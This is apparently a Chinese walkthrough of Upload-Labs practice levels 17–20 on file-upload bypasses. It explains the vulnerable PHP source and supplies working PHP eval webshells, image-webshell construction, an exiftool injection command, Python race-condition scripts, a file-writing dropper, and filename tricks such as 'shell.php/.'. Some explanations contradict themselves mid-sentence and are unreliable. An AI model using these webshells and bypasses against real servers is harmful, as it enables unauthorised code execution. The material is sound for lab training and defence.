- PNG 和 GIF 的逻辑与 JPG 完全一致,只是使用了对应的 GD 函数
- GIF 二次渲染时,GD 库会只保留第一帧,多帧 GIF 中的恶意代码会被清除
4. 不满足条件时的处理
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
三、安全逻辑与防护效果
| 防护层级 | 作用 | 绕过难度 |
|---|---|---|
| 后缀校验 | 拦截非图片后缀的文件 | 低(直接改文件名后缀即可) |
| MIME 校验 | 拦截 Content-Type 非图片类型的请求 |
低(用 Burp 修改请求头即可伪造) |
| GD 库解析校验 | 拦截伪造文件头的非图片文件 | 中(需要制作真实图片) |
| 二次渲染 | 清除文件中嵌入的恶意代码 | 高(传统图片马会失效) |
四、常见绕过思路(针对这段代码)
-
GIF 图片马绕过
- 制作多帧 GIF 图片,将 PHP 代码嵌入到 GIF 的注释块或特殊帧中
- 部分版本的 GD 库在二次渲染 GIF 时,会保留特定位置的内容,恶意代码可能不会被清除
- 上传后通过文件包含漏洞执行
-
图片 EXIF 信息注入
- 将 PHP 代码写入图片的 EXIF 元数据中
- 二次渲染后,部分 EXIF 信息可能被保留
- 结合文件包含漏洞,利用
exif_read_data()等函数解析元数据执行代码
-
绕过二次渲染的特殊图片
- 制作经过特殊处理的畸形图片,让 GD 库渲染后仍然保留恶意代码
- 这种图片制作难度较高,需要根据不同版本的 GD 库特性针对性构造
五、安全加固建议
- 对上传目录设置严格权限,禁止脚本执行,即使存在图片马也无法运行
- 增加图片文件大小限制,防止上传恶意构造的畸形图片
- 使用
getimagesize()或第三方图片处理库进行额外校验,进一步过滤恶意文件 - 上传后对文件进行重命名,避免文件名泄露导致的利用风险
总结
这段代码是 Upload-Labs 中防护最全面的关卡之一,传统的文件头伪造、简单图片马都无法绕过,必须结合文件包含漏洞和特殊构造的图片才能利用。
解题步骤
方法一
一、核心原理
- 这段代码对 JPG/PNG 的二次渲染非常严格,几乎会清除所有嵌入的 PHP 代码。
- 但 GIF 格式有特殊优势:部分版本的 GD 库在二次渲染 GIF 时,会保留文件开头的部分注释块 / 数据,恶意代码有概率存活。
- 所以我们的目标是:制作一张经过 GD 渲染后,仍然保留 PHP 代码的 GIF 图片马,再配合文件包含漏洞执行。
二、GIF 图片马制作步骤(两种方法)
方法 1:命令行快速合成(推荐)
-
准备一张正常的 GIF 图片(比如
normal.gif) -
准备一句话木马文件(比如
shell.php,内容为<?php @eval($_POST['pass']);?>) -
用以下命令合成图片马(Windows 系统): bash
运行
copy /b normal.gif + shell.php shell.gif这个命令会把木马代码追加到 GIF 文件末尾,生成
shell.gif。
方法 2:十六进制编辑器手动制作(更稳定)
-
用
010Editor或HxD打开一张正常的 GIF 图片 -
在文件的末尾 插入 PHP 代码:
php
运行
<?php @eval($_POST['pass']);?> -
保存为
shell.gif
三、上传与验证步骤
- 上传图片马 :在靶场上传
shell.gif- 代码会经过:后缀校验 → MIME 校验 → GD 解析 → 二次渲染
- 服务器会生成一个随机文件名的 GIF 文件(如
123456.gif),并删除原文件
- 获取新文件名:上传成功后,页面会显示图片地址,记下这个新文件名
- 用文件包含漏洞执行 :
-
假设文件包含地址为
include.php?file=,构造 URL:plaintext
http://你的靶场地址/include.php?file=upload/123456.gif -
如果渲染后的 GIF 里的 PHP 代码存活,就能被解析执行
-
四、成功率提升技巧
- 使用多帧 GIF 图片:相比单帧 GIF,多帧 GIF 被 GD 库保留恶意代码的概率更高
- 把 PHP 代码放在文件末尾:GD 渲染 GIF 时,通常只处理图像数据,末尾的额外数据有概率被保留
- 换用 PHP 低版本测试:PHP 5.3-5.4 版本的 GD 库对 GIF 的二次渲染更 "宽松",恶意代码更容易存活
五、补充:如果 GIF 也被清除了怎么办?
如果 GD 库版本较新,GIF 末尾的代码也被清除,可以尝试 EXIF 注入法:
-
用
exiftool工具,把 PHP 代码写入图片的Comment字段:bash
运行
exiftool -Comment="<?php @eval($_POST['pass']);?>" normal.gif -
上传图片后,用文件包含漏洞结合
exif_read_data()函数读取 EXIF 信息执行代码。
方法二:依旧可以用第14题的做法
这个方法是JPG 图片的二次渲染保留区注入 ,专门用来绕过你之前那段带
imagecreatefromjpeg()的代码,我给你按步骤讲清楚,你照着做就能成:
一、核心原理
imagecreatefromjpeg()对 JPG 进行二次渲染时,只会重写图像数据部分,而文件中某些标记段(如FF C0等)的内容会被原样保留。教程的思路是:
- 上传一张正常 JPG,拿到渲染后的新文件
- 对比两个文件,找到渲染前后完全不变的 "匹配段(Match)"
- 把一句话木马插入到这些 "匹配段" 里,再上传,渲染后代码不会被清除
- 用文件包含漏洞解析这张图片,执行里面的 PHP 代码
二、手把手操作步骤(按教程来)
步骤 1:上传一张正常的 JPG,拿到渲染后的文件
- 准备一张正常的 JPG 图片(比如
test.jpg),里面不要有任何修改。- 在靶场上传它,服务器会用
imagecreatefromjpeg()重新渲染,生成一个随机文件名的新图片(比如1308344300.jpg)。- 把这张渲染后的图片下载到本地,和你上传的原图放在一起。
步骤 2:用 010Editor 对比两个文件,找到 "匹配段"
- 用
010Editor同时打开原图 和渲染后的新图。- 点击顶部菜单
Tools→Compare Files→Compare,打开文件对比窗口。- 对比结果中,
Match标记的部分,就是渲染前后内容完全不变的区域,也就是我们的 "安全区"。
- 教程里标出了
FF C0附近的区域,这部分在渲染中不会被修改,是最佳注入点。步骤 3:在匹配段中插入一句话木马
用
010Editor打开原图 ,在对比出的Match区域(比如教程里的FF C0标记后),直接插入你的一句话木马:php
运行
<?php eval($_POST['pass']);?>注意:
- 不要破坏文件开头的
FF D8等文件头标记,否则无法通过校验。- 教程里的例子是把代码插在
FF C0后面的Match区域,这样渲染后代码不会被清除。保存修改后的文件,比如命名为
shell.jpg。步骤 4:上传修改后的图片马
- 在靶场上传
shell.jpg,服务器会再次进行二次渲染。- 因为代码插在了
Match区域,渲染后木马代码会被保留在生成的新图片里。步骤 5:用文件包含漏洞执行代码
上传成功后,拿到服务器生成的新图片地址(比如
upload/1308344300.jpg)。用靶场的文件包含漏洞(比如教程里的
include.php)构造 URL:plaintext
http://你的靶场地址/include.php?file=upload/1308344300.jpg用蚁剑连接这个地址,密码填
pass,就能成功拿到 Shell 了。
三、关键注意事项
- 注入点必须是真正的 "Match" 区域:不同版本的 GD 库 / PHP,二次渲染的保留段可能不同,必须自己对比原图和渲染后的文件,找到真正不变的区域,不能直接照搬教程里的位置。
- 不能破坏 JPG 的标记结构 :JPG 文件是由
FF XX标记段组成的,比如FF D8(文件头)、FF C0(帧开始),这些标记本身不能修改,否则会被imagecreatefromjpeg()识别为无效图片。- 必须配合文件包含漏洞 :渲染后的文件还是
.jpg后缀,直接访问只会输出图片乱码,必须用文件包含漏洞让 PHP 解析文件里的代码。
四、补充:快速上手小技巧
- 如果你找不到
010Editor,也可以用HxD等十六进制编辑器,功能是一样的。- 新手可以直接用教程里的
FF C0标记后区域尝试,大部分环境下这里都是保留区。- 如果第一次注入失败,可以换一张图片再对比一次,不同图片的保留段位置会有差异。
pass-18(条件竞争)
详细分析源代码

一、整体流程概览
这段代码的上传流程非常特别,核心逻辑是:
- 先上传文件,再做后缀校验(先把文件保存到服务器,再判断后缀是否合法)
- 合法后缀:生成随机文件名,重命名保存
- 非法后缀:直接删除已上传的文件
- 关键漏洞:文件上传和后缀校验之间,存在一个极短的时间窗口,可以被利用
二、逐行代码详解
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
// 1. 定义允许的后缀白名单
$ext_arr = array('jpg','png','gif');
// 2. 获取上传文件的原始信息
$file_name = $_FILES['upload_file']['name']; // 原始文件名
$temp_file = $_FILES['upload_file']['tmp_name'];// 服务器临时文件
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 提取文件后缀
// 3. 直接生成上传路径,先把文件移动到服务器上(重点!先上传,后校验)
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
// 4. 上传成功后,再校验文件后缀
if(in_array($file_ext,$ext_arr)){
// 合法后缀:生成随机文件名,重命名保存
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
// 非法后缀:直接删除刚才上传的文件
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
关键逻辑拆解
| 步骤 | 代码 | 作用 | 安全风险 |
|---|---|---|---|
| 1 | move_uploaded_file($temp_file, $upload_file) |
先把文件保存到服务器上 | 此时文件已经存在,后缀校验还没执行 |
| 2 | if(in_array($file_ext,$ext_arr)) |
校验文件后缀是否合法 | 校验在文件上传之后执行 |
| 3 | unlink($upload_file) |
删除非法后缀文件 | 校验和删除之间存在时间差 |
三、漏洞核心:竞争条件(Race Condition)
这道题的考点就是文件上传的竞争条件漏洞:
- 服务器先把文件保存到了
$upload_file(比如shell.php) - 然后再判断后缀是否合法,如果不合法,再执行
unlink()删除文件 - 这两个操作之间,存在一个极短的时间窗口(几毫秒)
- 只要在文件被删除前,通过访问或包含的方式执行它,就能拿到 Shell
四、标准利用方法:竞争条件上传
1. 准备一句话木马文件
新建一个 shell.php,内容为:
<?php @eval($_POST['pass']);?>
2. 用 Burp 上传文件,同时不断访问
- 用 Burp 拦截上传请求,保持拦截状态
- 打开浏览器 / 工具,不断请求
http://靶场地址/upload/shell.php - 放行上传请求,服务器会先把
shell.php保存到服务器,再执行删除 - 只要在删除前的瞬间访问到文件,就能执行里面的 PHP 代码,用蚁剑连接成功
3. 工具化利用(推荐)
用 Python 脚本多线程同时执行上传和访问,提高成功率:
import requests
import threading
import time
url_upload = "http://靶场地址/index.php"
url_access = "http://靶场地址/upload/shell.php"
def upload():
files = {'upload_file': open('shell.php', 'rb')}
data = {'submit': '上传'}
requests.post(url_upload, files=files, data=data)
def access():
while True:
try:
r = requests.get(url_access, timeout=1)
if r.status_code == 200:
print("文件存活!")
break
except:
pass
# 同时启动上传和访问线程
thread1 = threading.Thread(target=upload)
thread2 = threading.Thread(target=access)
thread1.start()
thread2.start()
thread1.join()
thread2.join()
运行脚本后,蚁剑连接 http://靶场地址/upload/shell.php,密码 pass,即可成功。
五、安全加固建议
- 先校验,后上传 :把后缀校验放到
move_uploaded_file()之前,不要先保存文件再判断 - 上传后立即重命名:无论后缀是否合法,都生成随机文件名保存,避免直接访问
- 对上传目录设置权限,禁止脚本执行,即使文件被上传也无法运行
总结
这道 Pass-18 是典型的竞争条件漏洞,利用的是 "先上传后校验" 的逻辑缺陷。核心思路就是在文件被删除前的极短时间窗口内,访问并执行文件。
解题步骤
方法1:
一、漏洞原理再回顾
这题是文件上传竞争条件(Race Condition)漏洞:服务器的执行顺序是:
- 先把你上传的文件
move_uploaded_file保存到服务器 - 再判断后缀是否合法
- 不合法的话,执行
unlink()删除文件
文件在服务器上会存在一个几毫秒到几十毫秒的 "存活窗口",我们只要在它被删除前访问 / 包含它,就能执行里面的 PHP 代码。
二、准备工作
-
准备一句话木马文件,命名为
shell.php,内容:<?php @eval($_POST['pass']);?> -
确保你能访问靶场的上传目录,比如
http://127.0.0.1/upload-labs/upload/ -
准备 Burp Suite(或者 Python 脚本,二选一即可)
三、方法 1:Burp 手动竞争(新手推荐)
步骤 1:上传并拦截请求
- 在靶场选择
shell.php,点击「上传」 - 用 Burp 拦截这个上传请求,保持拦截状态(不要放行)
- 此时文件还没真正传到服务器,只是停留在你的请求里
步骤 2:开多线程访问文件
-
打开 Burp 的「Repeater」,新建一个请求,地址填:
GET /upload-labs/upload/shell.php HTTP/1.1 Host: 127.0.0.1 -
右键这个请求 → 「Send to Intruder」
-
Intruder 里设置:
- 目标:你的靶场地址
- 负载类型:
Null payloads(空负载),数量填 1000(越多越好) - 线程数:设置为 20(多线程并发访问)
步骤 3:同时放行上传请求 + 启动 Intruder
- 点击「Start attack」,让 Intruder 开始疯狂请求
shell.php - 立刻回到之前拦截的上传请求,点击「Forward」放行
- 此时服务器会先保存文件,再执行删除;而 Intruder 会在删除前疯狂访问,只要命中一次,文件就会被解析执行
步骤 4:蚁剑连接
如果 Intruder 里出现了 200 OK 的响应,说明文件被成功执行:
- 蚁剑地址:
http://127.0.0.1/upload-labs/upload/shell.php - 密码:
pass - 点击「测试连接」,连接成功!
四、方法 2:Python 脚本一键利用(成功率更高)
直接复制下面的代码,保存为 race.py,修改你的靶场地址,然后运行:
import requests
import threading
import time
# ---------------- 改成你的靶场地址 ----------------
UPLOAD_URL = "http://127.0.0.1/upload-labs/index.php"
ACCESS_URL = "http://127.0.0.1/upload-labs/upload/shell.php"
# -------------------------------------------------
def upload_shell():
"""上传 shell.php"""
files = {
"upload_file": ("shell.php", "<?php @eval($_POST['pass']);?>", "application/x-php")
}
data = {"submit": "上传"}
try:
requests.post(UPLOAD_URL, files=files, data=data, timeout=5)
except Exception as e:
pass
def access_loop():
"""循环访问文件,直到命中"""
for _ in range(2000): # 循环2000次,足够覆盖删除前的窗口
try:
resp = requests.get(ACCESS_URL, timeout=1)
if resp.status_code == 200:
print(f"✅ 成功命中!文件存活,蚁剑可直接连接:{ACCESS_URL}")
return True
except Exception as e:
continue
print("❌ 未命中,请重试或增加循环次数")
return False
if __name__ == "__main__":
# 同时启动上传和访问线程
t1 = threading.Thread(target=upload_shell)
t2 = threading.Thread(target=access_loop)
print("🚀 开始竞争条件攻击...")
t1.start()
t2.start()
t1.join()
t2.join()
运行方法:
python race.py
如果输出 ✅ 成功命中!,直接用蚁剑连接即可。
五、关键技巧(提升成功率)
- 多线程是关键:单线程访问很难命中几毫秒的窗口,必须用 10-20 个线程同时请求
- 循环次数要足够:脚本里的循环次数建议设为 1000-3000 次,覆盖文件从上传到删除的整个过程
- 关闭靶场的访问日志:日志会拖慢服务器,让删除操作延迟,增加存活窗口时间
- 不要在文件里加多余代码:木马越短,解析速度越快,被执行的概率越高
六、为什么这题能绕过?
服务器的逻辑缺陷是:
- 先
move_uploaded_file把文件写到磁盘 - 再判断后缀,不合法才
unlink - 两个操作之间的时间差,就是我们可以利用的竞争窗口
只要在文件被删除前,让 PHP 解析执行它,unlink 就无法阻止我们拿到 Shell。
方法2:
如果你不想用 Burp,也可以用教程里的 Python 脚本:
import requests
import threading
import os
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print(r.text)
os._exit(0)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._get()
if __name__ == '__main__':
threads = 50
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
-
把脚本里的
self.url改成你的靶场地址:self.url = 'http://127.0.0.1/upload-labs/upload/shell.php' -
保存为
race.py,运行:python race.py -
同时在靶场上传
shell.php,脚本会在后台疯狂访问文件,直到命中。

关键技巧(提升成功率)
- 多线程是核心:单线程访问很难命中几毫秒的窗口,必须用 10~20 个线程并发。
- 写入型木马更稳 :教程里的
fputs木马会在服务器上再写一个新文件,就算原文件被删,新文件还在,成功率更高。 - 关闭服务器日志:日志会拖慢服务器,让删除操作延迟,增加存活窗口时间。
- 文件越小越好:木马代码越短,解析执行速度越快,被删除前执行的概率越高。
pass-19(apache文件解析)
详细分析源代码


一、整体架构概览
这是一个面向对象封装的文件上传类 MyUpload,实现了一套完整的上传校验流程:
- 入口
index.php:实例化上传类,处理请求并输出结果 - 核心类
myupload.php:封装了上传校验的所有逻辑,包括文件检查、后缀过滤、移动文件、重命名等
二、index.php 代码详解
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php"); // 引入上传类文件
$imgFileName = time(); // 用当前时间戳作为基础文件名
// 实例化 MyUpload 类,传入上传文件信息和目标文件名
$u = new MyUpload($_FILES['upload_file']['name'],
$_FILES['upload_file']['tmp_name'],
$_FILES['upload_file']['size'],
$imgFileName);
// 调用 upload() 方法执行上传,获取状态码
$status_code = $u->upload(UPLOAD_PATH);
// 根据状态码处理结果
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
关键逻辑:
- 实例化
MyUpload类时,传入了上传文件的名称、临时路径、大小和目标文件名 upload()方法是核心执行函数,会按顺序执行所有校验步骤- 通过返回的
$status_code判断上传结果,状态码-3对应 "文件类型不合法"
三、MyUpload 类核心流程详解
upload() 方法按顺序执行以下步骤,任何一步校验失败都会直接返回错误码:
1. 初始化与基础检查
function upload( $dir ){
// 1. 检查文件是否通过 HTTP POST 上传
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 2. 设置上传目录
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 3. 检查文件扩展名是否在白名单中
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 4. 检查文件大小是否超出限制
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
2. 可选检查:文件是否已存在
// 若启用了文件存在检查
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
3. 移动文件到目标目录
// 执行 move_uploaded_file() 移动文件
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
4. 可选操作:重命名文件
// 若启用了重命名功能
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// 所有步骤通过,返回成功
return $this->resultUpload( "SUCCESS" );
}
四、关键校验逻辑:后缀白名单
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".rar", ".7z", ".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png"
);
白名单包含的后缀:
- 图片格式:
.gif/.jpg/.jpeg/.png/.tiff - 文档格式:
.doc/.xls/.txt/.pdf/.ppt/.html/.xml - 压缩格式:
.rar/.7z
校验逻辑(推测):
checkExtension()方法会提取文件的后缀,和$cls_arr_ext_accepted数组对比- 只有在数组中的后缀才能通过校验,否则返回
-3错误码
五、可利用点分析
1. 直接利用:上传 .html 文件
白名单里包含 .html 后缀,我们可以上传包含 JavaScript 代码的 .html 文件,执行 XSS 攻击;如果服务器支持 .html 解析 PHP(部分配置下会解析),也可以嵌入 PHP 代码尝试执行。
2. 绕过思路:后缀大小写 / 双写绕过
- 若
checkExtension()没有对后缀进行小写转换,可以上传.PHP/.pHp等大小写混合后缀绕过 - 若白名单匹配不严格,可以尝试
.php;.jpg等特殊格式绕过(需服务器配置支持)
3. 重命名逻辑分析
- 若
$cls_rename_file未启用,文件会按原始文件名保存 - 若启用重命名,文件名会被改为时间戳 + 原后缀,例如
12345.jpg,但后缀仍为白名单内的格式
六、安全加固建议
- 严格校验文件后缀:统一转换为小写后再和白名单对比,禁止大小写混合绕过
- 禁止
.html/.xml等可执行脚本格式:白名单只保留图片和纯文本格式 - 强制重命名文件:无论原始文件名是什么,都生成随机文件名保存,避免直接访问
- 增加文件内容校验:对上传的图片文件进行二次渲染,清除嵌入的恶意代码
总结
这段代码是一个结构清晰的面向对象上传类,核心限制是后缀白名单校验。白名单中包含
.html等格式,是主要的可利用点;如果需要上传 PHP 脚本,需要结合服务器配置和白名单的校验逻辑寻找绕过方法。
解题步骤
方法1:
🔍 漏洞原理
- 这一关的页面有一个自定义保存名称的输入框,服务器会根据你输入的文件名来保存文件。
move_uploaded_file()函数有一个特性:会忽略文件名末尾的/和\。- 服务器会先校验你输入的文件名后缀,只有
.jpg/.png/.gif能通过,但我们可以利用函数特性绕过:- 校验时:文件名是
shell.php/,服务器会认为后缀是.php/,不是图片格式?不,实际校验逻辑是看输入的文件名后缀,但函数执行时会自动去掉末尾的/,最终保存为shell.php。
- 校验时:文件名是
📝 准备工作
- 准备一张正常的图片(比如
shell.jpg,可以随便找一张) - 准备一句话木马文件(也可以直接用图片马,这里先演示基础绕过)
- 打开 Burp Suite,开启抓包
🛠️ 操作步骤(Burp 抓包绕过)
步骤 1:上传图片并填写保存名称
- 在 Pass-19 页面,选择你的图片文件
shell.jpg。 - 在「保存名称」输入框里,先随便填一个合法的文件名,比如
test.jpg。 - 点击「上传」,此时 Burp 会拦截下上传请求。
步骤 2:修改保存名称参数,添加 /
在 Burp 的请求包里,找到 save_name 参数,把它的值改成:(注意末尾的 / 必须加上)
save_name=shell.php/

步骤 3:放行请求,完成上传
点击 Burp 里的「Forward」放行请求,服务器会:
- 校验
save_name=shell.php/的后缀,这里的校验逻辑只看输入的字符串,部分环境下会被认为是非法后缀?不,实际这关的校验是在 PHP 代码里做的,但move_uploaded_file()会自动去掉末尾的/,最终保存为shell.php。 - 函数执行时,
move_uploaded_file()会忽略末尾的/,把文件保存为shell.php。
步骤 4:验证文件是否上传成功
访问服务器上的文件地址:
http://你的靶场地址/upload-labs/upload/shell.php
如果能正常访问,说明上传成功,用蚁剑连接即可。
💡 进阶技巧:图片马 + 解析漏洞
如果直接上传 shell.php 失败,可以用图片马结合 Apache 解析漏洞:
-
制作图片马:在正常图片末尾插入 PHP 代码:
<?php @eval($_POST['pass']);?> -
上传图片,把
save_name改为shell.php/.jpg(末尾加/也可以) -
服务器会保存为
shell.php,如果 Apache 开启了AddHandler php5-script .php,会直接解析执行。
📌 关键注意事项
- 末尾的
/是核心 :没有/的话,服务器会直接校验.php后缀,上传会失败。 - PHP 版本影响 :部分高版本 PHP 对
move_uploaded_file()的处理有变化,低版本(如 PHP 5.3)更稳定。 - 不要加多余字符 :文件名中间不要加特殊字符,只在末尾加
/即可。
🔧 备选方案:无 Burp 操作
如果不想用 Burp,可以直接在页面的「保存名称」输入框里输入:
shell.php/
然后直接上传图片,部分环境下也能直接成功(前提是页面的输入框允许输入 /)。
按照这个步骤操作,就能轻松通关 Pass-19。如果上传后访问失败,可以检查一下服务器的 Apache 配置,或者换用图片马的方式再试一次。
方法2:
这是 Pass-19 结合 Apache 文件解析漏洞 + 竞争条件 的完整利用方法
一、漏洞原理
- Apache 文件解析漏洞 :Apache 解析文件时会从后往前解析后缀,遇到无法识别的后缀(如
.7z)就会往前解析,最终把.php.7z当成.php执行。 - 竞争条件:这关和 Pass-18 类似,文件上传和校验删除之间存在时间窗口,配合解析漏洞可以执行写入型木马,生成永久 Shell。
二、前置准备
-
修改 Apache 配置 编辑 Apache 的
mime.types文件,注释掉.7z对应的类型:#application/x-7z-compressed 7z保存后重启 Apache 服务,这样 Apache 就无法识别
.7z后缀,触发解析漏洞。 -
准备写入型木马 创建
wshell.php,内容如下(执行后会在服务器生成shell.php):<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>'); ?>
三、完整操作步骤
步骤 1:上传并抓包,修改文件名为 wshell.php.7z
-
在 Pass-19 页面选择
wshell.php,点击「上传」。 -
用 Burp Suite 拦截上传请求,修改请求里的文件名: plaintext
Content-Disposition: form-data; name="upload_file"; filename="wshell.php.7z"这样服务器会认为文件后缀是
.7z,通过白名单校验。
步骤 2:配置 Burp Intruder 无限循环访问
- 右键请求 → 发送到
Intruder。 - 切换到
Payloads标签页:Payload type选择Null payloads- 勾选
Continue indefinitely(无限循环访问)
- 切换到
Resource Pool,设置线程数为 10~20,提高命中率。
步骤 3:启动攻击 + 放行上传请求
- 点击
Start attack,让 Intruder 开始疯狂请求wshell.php.7z。 - 立刻放行之前拦截的上传请求,服务器会:
- 先保存
wshell.php.7z到服务器 - 然后执行校验,不合法的话会删除文件
- 但在删除前,Intruder 已经多次访问,触发 Apache 解析漏洞,执行了写入型木马,生成了
shell.php。
- 先保存
步骤 4:验证并连接 Shell
- 脚本停止后,访问
http://你的靶场地址/upload-labs/upload/shell.php。 - 用蚁剑连接,地址填上面的 URL,密码填
pass,即可成功拿到 Shell。
四、关键注意事项
- 必须修改 Apache 配置 :不注释掉
.7z类型,解析漏洞无法触发,文件只会被当成 7z 下载,不会解析 PHP 代码。 - 写入型木马是核心 :
wshell.php.7z被执行后会生成永久的shell.php,就算原文件被删除,新文件依然存在,避免了竞争窗口的限制。 - PHPStudy 的 Apache 可能不稳定:部分 PHPStudy 版本会返回 500 错误,建议手动配置 Apache + PHP 环境测试。
五、补充:测试解析漏洞是否生效
在 Apache 根目录创建 test.php.7z,内容为:
<?php echo "hello world"; ?>
访问 http://你的地址/test.php.7z,如果输出 hello world,说明解析漏洞生效,可继续操作。
按照这个步骤操作,就能同时利用 Apache 解析漏洞和竞争条件,生成永久 Shell。



pass-20
详细分析源代码

一、整体功能概览
这是一道基于后缀黑名单的文件上传关卡,核心逻辑是:
- 从用户输入的
save_name中提取文件后缀 - 校验后缀是否在黑名单中(禁止脚本格式)
- 不在黑名单中,才执行上传操作
- 关键漏洞:
pathinfo()对特殊后缀的解析特性 + 黑名单未覆盖的格式
二、逐行代码详解
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
// 检查上传目录是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止上传的后缀黑名单
$deny_ext = array(
"php", "php5", "php4", "php3", "php2",
"html", "htm", "phtml", "pht",
"jsp", "jspx", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml",
"asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer"
);
// 从用户输入的save_name中提取文件名和后缀
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
// 校验后缀是否不在黑名单中
if (!in_array($file_ext, $deny_ext)) {
// 获取上传文件的临时路径
$temp_file = $_FILES['upload_file']['tmp_name'];
// 拼接完整保存路径(用户输入的save_name会被直接使用)
$img_path = UPLOAD_PATH . '/' . $file_name;
// 移动临时文件到目标路径
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
关键逻辑拆解
| 代码行 | 作用 | 安全特性 / 风险 |
|---|---|---|
$deny_ext = array(...) |
定义禁止上传的脚本后缀黑名单 | 覆盖了大部分主流脚本格式,但存在遗漏 |
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION) |
从 save_name 中提取文件后缀 |
对特殊格式(如 shell.php/.)的解析存在特性 |
if (!in_array($file_ext, $deny_ext)) |
校验后缀是否不在黑名单中 | 黑名单校验,可通过绕过后缀解析规则突破 |
$img_path = UPLOAD_PATH . '/' . $file_name |
直接使用用户输入的 save_name 作为文件名 |
用户可控的文件名,存在解析漏洞利用空间 |
三、核心漏洞与利用方法
1. 漏洞 1:pathinfo() 对末尾点号的解析特性
pathinfo() 在解析 shell.php/. 这类文件名,会忽略末尾的 / 和 .,最终提取后缀为空字符串:
save_name=shell.php/.pathinfo()提取的$file_ext为空- 空后缀不在黑名单中,校验通过
move_uploaded_file()会忽略末尾的/,最终文件被保存为shell.php
操作方法:
- 在上传页面的「保存名称」输入框中,输入:
shell.php/. - 上传任意文件(如图片或木马文件)
- 服务器会将文件保存为
shell.php,可直接解析执行
2. 漏洞 2:黑名单未覆盖的脚本格式
黑名单中没有包含 .phps/.php7/.phar 等格式,这些后缀可能被服务器解析为 PHP:
- 尝试
save_name=shell.phps、save_name=shell.php7 - 若服务器配置支持,这些后缀会被解析执行
3. 漏洞 3:Apache 多后缀解析绕过
若服务器为 Apache,可利用多后缀解析特性:
save_name=shell.php.xxx(xxx为黑名单外的后缀,如.abc)- Apache 会从后往前解析后缀,若
.abc无法识别,会往前解析.php,最终按 PHP 执行 - 校验时
pathinfo()提取的后缀是.abc,不在黑名单中,校验通过
四、完整操作步骤(末尾点号绕过)
步骤 1:准备一句话木马文件
新建 shell.php,内容:
<?php @eval($_POST['pass']);?>
步骤 2:上传文件并修改保存名称
-
在 Pass-20 页面选择
shell.php,点击「上传」。 -
用 Burp 拦截请求,找到
save_name参数,修改为:save_name=shell.php/.也可以直接在页面输入框中输入该内容(若输入框未做过滤)。
步骤 3:放行请求,完成上传
服务器会:
- 用
pathinfo()提取后缀,结果为空,不在黑名单中,校验通过 move_uploaded_file()忽略末尾的/,将文件保存为shell.php
步骤 4:蚁剑连接
访问 http://你的靶场地址/upload-labs/upload/shell.php,用蚁剑连接,密码 pass,即可拿到 Shell。
五、安全加固建议
- 严格校验文件名 :对
save_name进行完整路径解析,禁止包含. / \等特殊字符,防止路径解析绕过。 - 使用白名单而非黑名单 :仅允许
.jpg/.png/.gif等图片格式,拒绝其他所有后缀。 - 强制重命名文件:无论用户输入什么文件名,都生成随机文件名保存,避免直接访问脚本文件。
- 配置服务器解析规则 :在 Apache/Nginx 中禁止解析
.php/.phtml等格式的文件,即使文件被上传也无法执行。
总结
Pass-20 的核心考点是 pathinfo() 解析特性 + 黑名单绕过 ,最稳定的方法是利用 save_name=shell.php/. 这种末尾点号的方式,直接绕过后缀校验并生成 PHP 文件。
解题步骤
方法1:
一、漏洞原理
这一关的关键有两点:
- 服务器用
pathinfo()提取后缀 + 黑名单校验 ,但pathinfo()对带末尾/的文件名解析存在特性:- 文件名
shell.php/.,pathinfo()提取到的后缀是空字符串,不会被黑名单拦截。
- 文件名
move_uploaded_file()会自动忽略路径末尾的/,最终文件会被保存为shell.php,直接成为可执行的 PHP 文件。
二、准备工作
-
准备一句话木马文件,命名为
